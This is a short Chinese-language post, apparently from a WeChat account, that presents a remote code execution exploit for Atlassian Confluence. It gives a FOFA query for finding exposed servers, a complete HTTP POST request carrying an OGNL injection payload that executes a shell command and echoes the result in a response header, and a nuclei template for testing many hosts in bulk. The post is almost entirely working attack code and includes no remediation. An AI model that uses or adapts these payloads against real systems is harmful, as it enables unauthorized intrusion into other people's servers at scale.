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漏洞描述

Atlassian Confluence远程代码执行

fofa语句

app="Atlassian-Confluence"

漏洞复现

打开页面

构造payload

POST /template/aui/text-inline.vm HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Length: 285
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded

label=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

nuclei批量验证

id: Atlassian-Confluence-RCE

info:
  name: Atlassian Confluence远程代码执行
  author: changge
  severity: high
  description: Atlassian Confluence远程代码执行
  metadata:
    fofa-query: app="Atlassian-Confluence"

requests:
  - raw:
      - |
        POST /template/aui/text-inline.vm HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate, br
        Accept: */*
        Accept-Language: en-US;q=0.9,en;q=0.8
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
        Connection: close
        Cache-Control: max-age=0
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 285

        label=u0027%2b#requestu005bu0027.KEY_velocity.struts2.contextu0027u005d.internalGet(u0027ognlu0027).findValue(#parameters.x,{})%2bu0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - X-Cmd-Response
      - type: status
        status:
          - 200

github poc总汇地址：https://github.com/AYcg/poc

原文始发于微信公众号（AY长歌）：Atlassian Confluence远程代码执行